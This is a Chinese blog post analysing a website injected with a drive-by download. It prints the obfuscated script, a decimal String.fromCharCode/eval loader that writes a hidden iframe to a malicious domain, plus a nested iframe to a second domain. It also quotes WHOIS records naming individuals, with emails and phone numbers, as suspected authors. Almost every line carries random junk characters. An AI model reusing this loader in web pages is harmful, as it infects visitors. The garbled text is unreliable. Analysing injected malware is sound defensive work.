首发在我的博客里面，
aS|wpm)K>8 D;Gq )]O http://www.areway.cn/?p=175 OzT#1T1'c Dml*T( WM> XJ!(F#zc 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
o{ *ay$vA] 0)9"M.AIvo <script>t=’60,105,102,114,97,109,101,
55t\B ms{ 32,115,114,99,61,104,116,116,112,58,47,47,
l7JY]?p 102,114,101,101,46,117,45,117,117,117,46,99,
5 cK@WE: 110,47,101,114,114,111,114,46,104,116,109,
Px5t,5xT8 32,119,105,100,116,104,61,49,48,48,32,104,
'SLE ;_TD 101,105,103,104,116,61,48,62,60,47,105,102,
o5\b'hR*# 114,97,109,101,62′;
Aa?I8sb c t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
u@ p? )'Wb&A' <script>t=’60,105,102,114,97,109,101,32,115,
M}DH5H"s 114,99,61,104,116,116,112,58,47,47,102,114,
@c'|Iqy` 101,101,46,117,45,117,117,117,46,99,110,47,
0a R,H[r[? 101,114,114,111,114,46,104,116,109,32,119,
JK#vkCkyM 105,100,116,104,61,49,48,48,32,104,101,105,
Ufo>|A6;$ 103,104,116,61,48,62,60,47,105,102,114,97,
5FC4@Ms` 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
2JmZ{ document.write(t);</script>
JNWg|Qt K?#] ("De6 <html xmlns=”
,pK| SL http://www.w3.org/1999/xhtml NHw x:-RH “>
g M>=%/. <head>
4z:#I ; <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
`ya;:$(6 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
6@tvRDeaDW <title>首页 - 爱生活家庭网
N i*Wz*o oK FT? "[X 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
JO@ Bf 转换字符串后的大概内容是（谁点击后果自付）：
O` cu_ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
U},=LsDsW4 ? 8 1X 查询玉米u-uuu.cn的详细信息：
:f'&z47 Domain Name: u-uuu.cn
'#O_}|ZN ROID: 20070901s10001s64972306-cn
k E;O7sN Domain Status: ok
ID1?PM Registrant Organization: 王雷
!c<w S Q, Registrant Name: 王雷
K:yr-#(P/ Administrative Email:
czlovexs@126.com C9Bh@v%90^ Sponsoring Registrar: 北京万网志成科技有限公司
<Y'>F!?# Name Server:ns.yovole.com
(I{
$kB"p Name Server:ns1.yovole.com
SQE[m 9v Registration Date: 2007-09-01 17:54
,6<" Expiration Date: 2008-09-01 17:54
(}!C4S3# 最后PING了一下地址 都没有什么….
(#(O r OySy6I N]q 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
q}L+/+b <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
m:`@?n~.. <script language=”javascript” src=”
K&A;Z>l,v5 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 77gysd\( >
xPmN},i'R$ 这个玉米应该有可能是木马作者的：
BOf1J1 foafau.info的详细信息：
F.q|x|9j Access to INFO WHOIS information is provided to assist persons in
t~K%.|' 0 determining the contents of a domain name registration record in the
7N2\8kP Afilias registry database. The data in this record is provided by
Q"J-tP! Afilias Limited for informational purposes only, and Afilias does not
:ipoD%@ guarantee its accuracy. This service is intended only for query-based
m4ApHM2 access. You agree that you will use this data only for lawful purposes
NB8& and that, under no circumstances will you use this data to: (a) allow,
1M%S
gV-# enable, or otherwise support the transmission by e-mail, telephone, or
}4%/ pOi:f facsimile of mass unsolicited, commercial advertising or solicitations
W^g[L:s to entities other than the data recipient’s own existing customers; or
w,.qCp T$_ (b) enable high volume, automated, electronic processes that send
ySdN;d:q queries or data to the systems of Registry Operator, a Registrar, or
#Gv{UU$] Afilias except as reasonably necessary to register domain names or
d<o.o?Vc modify existing registrations. All rights reserved. Afilias reserves
;5|1M8]=0 the right to modify these terms at any time. By submitting this query,
Sm3 u /w! you agree to abide by this policy.
#j@OLvXh Domain ID:D22418703-LRMS
Yq '4e[i Domain Name:FOAFAU.INFO
~krS#\ Created On:20-Nov-2007 16:05:42 UTC
;Fl< v@9 Last Updated On:20-Nov-2007 16:05:44 UTC
9$d.P6|d> Expiration Date:20-Nov-2008 16:05:42 UTC
~waNPjPRG Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
M<8ML!N0;t Status:CLIENT DELETE PROHIBITED
)JgC$ < Status:CLIENT RENEW PROHIBITED
|qjZ38 ;6 Status:CLIENT TRANSFER PROHIBITED
K <`>O,
F Status:CLIENT UPDATE PROHIBITED
A{, n;; Status:TRANSFER PROHIBITED
Lue|Plm[y Registrant ID:GODA-040110615
4 \ $3 Registrant Name:liu hong
SHdL /1~t Registrant Organization:
b#Kq[} Registrant Street1:beijing
(wt+`_6 Registrant Street2:
k{Lv37H Registrant Street3:
Wr|G:(kw\! Registrant City:beijing
HD # r0) Registrant State/Province:
ZykrQ\q9 Registrant Postal Code:100000
KS>$`ax, Registrant Country:CN
18!VO4u\I Registrant Phone:+86.860108888777
)Id2GV~2B Registrant Phone Ext.:
E )YVfM Registrant FAX:
!G=> ve Registrant FAX Ext.:
|KG&HN fP- Registrant Email:bbbshiji@163.com
IS_Su;w>4 Admin ID:GODA-240110615
$Tl<V / Admin Name:liu hong
k
khE} qSD Admin Organization:
i Q`]ms+ Admin Street1:beijing
-Wo15O" Admin Street2:
Y_H/3?b% Admin Street3:
Ky9W/ dCR Admin City:beijing
!s IwFv ) Admin State/Province:
]rX9MA6 Admin Postal Code:100000
sB 7" 0M Admin Country:CN
o)]FtL:mm Admin Phone:+86.860108888777
y$ oW! Admin Phone Ext.:
i2F(GH?p[ Admin FAX:
a w$Y`6,S Admin FAX Ext.:
2cnj@E:5l Admin Email:bbbshiji@163.com
|4SW[>WT: Billing ID:GODA-340110615
VuWib+fT Billing Name:liu hong
}C~]=Z Billing Organization:
fD6GQ* Billing Street1:beijing
E/ O5e(h Billing Street2:
@FX{M.. Billing Street3:
|>utWT]S Billing City:beijing
\|+/0 USn Billing State/Province:
>[3X]n,0 Billing Postal Code:100000
uW[3G Billing Country:CN
/7p>7q 9g Billing Phone:+86.860108888777
*Tn zkNN_, Billing Phone Ext.:
nxRwWj 57 Billing FAX:
8M93cyX Billing FAX Ext.:
F' BdQk3o Billing Email:bbbshiji@163.com
CIQw l 6H9 Tech ID:GODA-140110615
1X@b?6 Tech Name:liu hong
A@ VaaX Tech Organization:
?y_awoBd1 Tech Street1:beijing
6"%qv`.Fp Tech Street2:
BlaJl[P iv Tech Street3:
B7 c[ 4 Tech City:beijing
.Ty,_3+{#p Tech State/Province:
J:};n@< Tech Postal Code:100000
M_&4]\PkCy Tech Country:CN
n6cq\@~A Tech Phone:+86.860108888777
&>=#w"skb6 Tech Phone Ext.:
BJIQ
zn3 Tech FAX:
qY }Cg0[@g Tech FAX Ext.:
W78o*z[O Tech Email:bbbshiji@163.com
Kq7C0)23 Name Server:NS27.DOMAINCONTROL.COM
5;
f\0<- Name Server:NS28.DOMAINCONTROL.COM
Tk+DPp^ Name Server:
$c9=mjwH Name Server:
qy9i9$8 Name Server:
x7gjG"V Name Server:
tR O IBq| Name Server:
CK C0{J8g
Name Server:
JN^bo(kb Name Server:
k /^g* Name Server:
j |td,82. Name Server:
5&(3A|P2 Name Server:
\3j)>u,r Name Server:
hho%~^bn( jZ#UUnR% 接着下载每个文件里面的代码：
(6-y+ LG 一步一步看..
0x#E4v (UA 
5mIXyg 0: 
sY^lQN 
Bm<^rhJ9 
9l l|JeNi 
J0qXtr%h\ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
